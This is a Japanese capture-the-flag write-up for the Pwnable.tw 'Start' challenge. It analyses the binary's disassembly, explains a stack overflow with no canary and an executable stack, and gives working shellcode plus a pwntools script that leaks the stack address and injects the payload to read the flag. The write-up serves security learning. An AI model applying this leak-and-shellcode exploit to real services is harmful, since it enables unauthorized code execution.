2024/12/08 Pwnable.tw Start
Writeup
t6o_o6t.icon
注意すること
Pwnable.twはPwnable.krとは異なり、自らシェルコードなどを書いて/home/xxx/flagの内容を読み取らなければならない 静的解析
$ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
$ gdb ./start -q
code:gdb
gef➤ checksec
+ checksec for '/home/.../pwnable_tw/start' Canary : ✘
NX : ✘
PIE : ✘
Fortify : ✘
RelRO : ✘
Canary
バッファオーバーフローを起こしてもCanaryによって検知されることはない。
NX
スタックメモリ上に命令列を置いて、直接実行させることができる。
PIE
テキスト領域の命令はつねに一定のアドレスに存在する。
RelROも無効とのことだが、ファイルが静的リンクされておりPLTやGOTが存在しないため、攻撃方法の検討には影響しないだろう
逆アセンブルを読む
$ objdump -d -M intel ./start
簡単のため、意味を持つ単位に分けて説明する。
今回は _startセクションのみを確認すれば良さそう。
esp、return addressをスタックに積む
code:disas.asm
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
後に、プログラムの制御をシェルコードに移すのだが、そのために必要なスタックポインタのアドレスはpush espでスタックに積まれた古いespの値を使って計算することにした。
ただの関数プロローグだと思って読み飛ばさないように注意が必要である。
下記の記事を読むまで、単なるプロローグに過ぎないと思って注目していなかった。
今回は、ここでpushされたespの値をinitial_espと呼ぶことにする。
汎用レジスタの値をゼロにする
code:disas.asm
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
アセンブル後の機械語長を短くするために、レジスタにゼロをセットする処理をxor A, Aに置き替えることがよくある。
スタックにLet's start the CTF :の文字列を積む
code:disas.asm
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
実際にgdbなどでスタックの様子を確認しながら実行すれば、このバイト列が、標準出力に表示される文字列を表していることが分かる。
writeシステムコールで、標準出力に、ecxの位置のメモリを0x14 = 20バイト表示する
code:disas.asm
8048087: 89 e1 mov ecx,esp
8048089: b2 14 mov dl,0x14
804808b: b3 01 mov bl,0x1
804808d: b0 04 mov al,0x4
804808f: cd 80 int 0x80
readシステムコールで、標準入力からの入力バイト列を、ecxの位置のメモリに0x3cバイト書き込む
code:disas.asm
8048091: 31 db xor ebx,ebx
8048093: b2 3c mov dl,0x3c
8048095: b0 03 mov al,0x3
8048097: cd 80 int 0x80
スタックポインタを0x14バイト下げる
code:disas.asm
8048099: 83 c4 14 add esp,0x14
スタックポインタの先頭の4バイトを戻りアドレスと見なし、制御を移してポインタを4バイト下げる
code:disas.asm
804809c: c3 ret
以上が、今回の実行ファイルが行う動作である。
x86 (32bit)のアセンブリなので、システムコールの番号や引数がx86_64と異なることに注意。
攻撃の起点:バッファオーバーフロー
標準入力からの値を0x3c = 60バイトメモリに書き込んでいる。
しかし、スタックに積まれているのは、文字列20バイト + return address + initial_esp = 28バイトのみである。
つまり、標準入力を使って、return addressや、それより下のスタック領域を書き換えることができる。
Canaryが無効なため、書き換えても検知されることはない。
NX bitが無効なため、スタック領域に命令列を書き込み、それを実行することも不可能ではない。
→ return addressより下位の領域に命令列を書き込み、return addressにそのアドレスを書き込むことで、任意コード実行に繋げたい。
system関数などは使われていないため、シェルを取るのではなく、フラグの表示処理を自ら実装することを選んだ
スタックに書き込んだ命令のアドレスはいくつか?
ASLRにより、スタック領域のベースアドレスは常にランダム化されている。 しかし、return addressの書き替えによってそれらのアドレスに制御を移すには、スタックに書き込んだ命令列のアドレスがいくつかを知らなければならない。
初回にretした時点で、スタックにはespの初期値initial_espのみが存在しているはずである。
注意点
readしたフラグを標準出力するところまで実装してしまうと、任意の文字列20バイト + return address 4バイト + シェルコード <= 60バイトという制限を超えてしまう。
したがって、標準出力処理には、元の実行ファイルで文字列を標準出力している命令列を活用すると良い。
解き進めると分かるが、フラグは0x14 = 20バイトより長い。そのため、mov bl, 0x14より後の命令に制御を移さなければ、フラグが20文字目までしか表示されないことに注意が必要である。
表示先のアドレスについて
文字列./flagを格納しておく領域と、sys_readしたflag文字列を格納しておく領域は、重ねることができる。
なぜなら、文字列./flagは、sys_openが完了し、sys_readする頃には必要なくなっているからである。
このため、先に文字列./flagを格納するアドレスをレジスタに格納しておき、sys_readする際にはその値を再利用すれば、機械語長を大幅に短くすることができる。
以上を踏まえ、次のアセンブリを書いた。
code:attack.asm
BITS 32
_start:
; open(...)
mov ecx, 0x00
mov eax, 0x05
int 0x80
; read(...)
mov ecx, ebx
mov ebx, eax
mov eax, 0x03
int 0x80
; jump to output instructions
mov edi, 0x0804808b
jmp edi
このアセンブリをnasmでコンパイルすると、ファイルattackが生成される。
$ nasm ./attack.asm
初回のretで、initial_espを標準出力に表示させたあと、その値を元にファイルattack内の命令を注入し、実行させている。
code:solver.py
from pwn import *
proc = remote("chall.pwnable.tw", 10000)
with open("./attack", "rb") as f:
attack = f.read()
leak_initial_esp = flat(b"A" * 20, p32(0x08048087))
proc.recvuntil(b"Let's start the CTF:")
proc.send(leak_initial_esp)
initial_esp = u32(proc.recv(numb=4))
# Ignore rest 0x10 bytes of output
proc.recv()
FLAG_FILE = b"/home/start/flag\x00"
payload = flat(
FLAG_FILE,
b"A" * (20 - len(FLAG_FILE)),
p32(initial_esp + 20),
attack
)
proc.send(payload)
proc.interactive()
このコードを実行すると、フラグが標準出力されるだろう。